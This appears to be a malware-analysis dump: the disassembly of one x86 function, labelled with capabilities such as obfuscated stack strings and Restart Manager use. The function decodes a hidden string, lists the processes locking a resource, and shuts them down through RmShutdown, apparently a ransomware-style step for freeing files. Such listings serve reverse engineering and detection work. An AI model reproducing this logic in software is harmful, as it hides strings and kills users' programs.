Function at 0x40c800
Capabilities:
Contain obfuscated stackstrings
Create restart manager session
Enumerate processes that use resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x462040]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x465710], 0
push ebx
push esi
push edi
mov dword [ebp - 0x68], ecx
jne 0x40c9d8
mov byte [ebp - 0xa4], 0
mov byte [ebp - 0xa3], 5
mov byte [ebp - 0xa2], 3
mov byte [ebp - 0xa1], 0x56
mov byte [ebp - 0xa0], 3
mov byte [ebp - 0x9f], 0xc
mov byte [ebp - 0x9e], 3
mov byte [ebp - 0x9d], 0x2b
mov byte [ebp - 0x9c], 3
mov byte [ebp - 0x9b], 0x59
mov byte [ebp - 0x9a], 3
mov byte [ebp - 0x99], 0x6c
mov byte [ebp - 0x98], 3
mov byte [ebp - 0x97], 0x2b
mov byte [ebp - 0x96], 3
mov byte [ebp - 0x95], 0x6a
mov byte [ebp - 0x94], 3
mov byte [ebp - 0x93], 0x50
mov byte [ebp - 0x92], 3
mov byte [ebp - 0x91], 0x59
mov byte [ebp - 0x90], 3
mov byte [ebp - 0x8f], 0x6f
mov byte [ebp - 0x8e], 3
mov byte [ebp - 0x8d], 0x59
mov byte [ebp - 0x8c], 3
mov byte [ebp - 0x8b], 0x15
mov byte [ebp - 0x8a], 3
mov byte [ebp - 0x89], 0x56
mov byte [ebp - 0x88], 3
mov byte [ebp - 0x87], 0x6c
mov byte [ebp - 0x86], 3
mov byte [ebp - 0x85], 0x6a
mov byte [ebp - 0x84], 3
mov byte [ebp - 0x83], 0x6f
mov byte [ebp - 0x82], 3
mov byte [ebp - 0x81], 0xf
mov byte [ebp - 0x80], 3
mov byte [ebp - 0x7f], 0x2b
mov byte [ebp - 0x7e], 3
mov byte [ebp - 0x7d], 0x6a
mov byte [ebp - 0x7c], 3
mov byte [ebp - 0x7b], 0x31
mov byte [ebp - 0x7a], 3
mov byte [ebp - 0x79], 0xf
mov byte [ebp - 0x78], 3
mov byte [ebp - 0x77], 0x59
mov byte [ebp - 0x76], 3
mov byte [ebp - 0x75], 0x37
mov byte [ebp - 0x74], 3
mov byte [ebp - 0x73], 0x56
mov byte [ebp - 0x72], 3
mov byte [ebp - 0x71], 0x37
mov byte [ebp - 0x70], 3
mov byte [ebp - 0x6f], 0x20
mov byte [ebp - 0x6e], 3
mov byte [ebp - 0x6d], 3
mov byte [ebp - 0x6c], 3
mov al, byte [ebp - 0xa3]
mov al, byte [ebp - 0xa4]
test al, al
jne 0x40c9b6
xor ecx, ecx
lea esi, [ecx + 0x7f]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0xa3]
movzx eax, al
sub eax, 3
imul eax, eax, 0x29
cdq
idiv esi
lea eax, [edx + 0x7f]
cdq
idiv esi
mov byte [ebp + ecx - 0xa3], dl
inc ecx
cmp ecx, 0x38
jb 0x40c990
lea eax, [ebp - 0xa3]
push eax
call fcn.00421550
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434f21
mov esp, ebp
pop ebp
ret
xor esi, esi
lea eax, [ebp - 0x50]
mov dword [ebp - 0x54], esi
mov ecx, 0x42
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x40c9e5
lea eax, [ebp - 0x50]
push eax
push ecx
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x40cb20
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x68]
push eax
push 1
push dword [ebp - 0x54]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x40cb17
mov dword [ebp - 0x5c], esi
lea eax, [ebp - 0x64]
mov dword [ebp - 0x60], esi
mov ecx, 4
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x64], esi
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x40ca36
mov esi, dword [sym.imp.RstrtMgr.DLL_RmGetList]
lea eax, [ebp - 0x5c]
push eax
push ecx
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0x54]
call esi
cmp eax, 0xea
jne 0x40cb3c
mov eax, dword [ebp - 0x60]
test eax, eax
je 0x40cb3c
imul eax, eax, 0x29c
push eax
call fcn.00439af3
mov edi, eax
add esp, 4
test edi, edi
je 0x40cb3c
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x5c]
push eax
push edi
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0x54]
call esi
test eax, eax
jne 0x40cb33
cmp dword [ebp - 0x60], eax
je 0x40cb33
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov ebx, dword [ebp - 0x58]
xor edx, edx
mov dword [ebp - 0x64], eax
test ebx, ebx
je 0x40cafc
mov esi, edi
nop dword [eax]
mov ecx, dword [esi]
cmp ecx, eax
je 0x40cb33
mov eax, dword [0x465720]
mov eax, dword [eax]
test eax, eax
je 0x40caec
cmp ecx, dword [eax]
je 0x40cb33
mov eax, dword [eax + 4]
test eax, eax
jne 0x40cae1
inc edx
add esi, 0x29c
cmp edx, ebx
jae 0x40cafc
mov eax, dword [ebp - 0x64]
jmp 0x40cad0
push 0
push 1
push dword [ebp - 0x54]
call dword [sym.imp.RstrtMgr.DLL_RmShutdown]
neg eax
push edi
sbb esi, esi
inc esi
call fcn.00439e6b
add esp, 4
push dword [ebp - 0x54]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434f21
mov esp, ebp
pop ebp
ret
push edi
call fcn.00439e6b
add esp, 4
push dword [ebp - 0x54]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00434f21
mov esp, ebp
pop ebp
ret